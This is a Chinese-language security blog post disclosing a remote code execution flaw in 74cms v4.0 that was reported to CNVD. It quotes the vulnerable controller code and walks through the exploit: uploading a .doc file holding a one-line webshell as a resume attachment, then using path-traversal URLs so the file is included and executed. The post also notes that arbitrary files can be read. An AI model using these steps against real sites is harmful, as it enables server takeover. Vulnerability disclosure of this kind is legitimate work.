Created Tuesday 20 December 2016

0x01.前端getshell:

这个漏洞的发掘得十分感谢cy之前挖的那个《thinkphp5默认模板引擎远程代码执行漏洞》,在这套代码中就存在着这样的实例。这个漏洞的利用很凶,无视文件后缀,只要文件中存在可行代码,就会被eval带入执行,吊炸天!:

代码位置:\74cms_v4.0_20161208\upload\Application\Home\Controller\MController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

public function index(){

if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){

redirect(build_mobile_url());

}

$type = I('get.type','android','trim');//这里$type参数未过滤

$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'http://demo2.7yun.com/phone/apk/74cms.apk';

$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';

$this->assign('android_download_url',$android_download_url);

$this->assign('ios_download_url',$ios_download_url);

$this->assign('type',$type);

$this->display('M/'.$type);//$type参数直接引用框架的渲染模板函数,导致getshell

}

只需注册一个用户,上传一个带有攻击性的文件,不管后缀,构造payload访问后可获得结果。另外这里不得不说明一点,昨晚宝宝我试了大半天的图片上传,想通过上传带有攻击性的图片来测试,但是一直成功不了,登哥也帮我搞了好久,愣是没搞出来,最后发现是上传的图片会被重新编码渲染,所以一直成功不了;还有,我发现该系统会把用户的访问记录直接存在一个固定的log文件中,我最初的想法是构造具有攻击性的url链接,把攻击代码直接放在url链接中,那么这个链接就会被记录在log文件中,之后直接利用漏洞payload,就会被执行,但是我尝试了很久都无法成功,但是如果是自己手动把代码写到这个log文件中就又会成功,Wtf(黑人问号脸)。最后还是老老实实的重doc附件处上传吧,这个地方不会被网站重编码,于是终于成功了。

至于网站的绝对路径一般都可以选择报错返回得到:

选择上传个人简历附件处,尝试上传带一句话木马的doc文件:

上传位置:

http://**/index.php?m=&c=personal&a=resume_edit&pid=2&make=1

开始上传:

漏洞截图说明如下:

构造漏洞Url链接:http://192.168.99.162/index.php?a=index&c=m&m=home&type=../../../../../../../../../../phpStudy/WWW/data/upload/word_resume/1612/19/5857d32fb7727.doc

好吧,其实这个漏洞还能用来读取任意文件。

利用菜刀直接访问上传的木马文件:

木马的连接地址:

http://**/index.php?a=index&c=m&m=home&type=../../../../../../../../../../phpStudy/WWW/data/upload/word_resume/1612/20/585898fda4ba3.doc


注:博主该漏洞已提交至cnvd.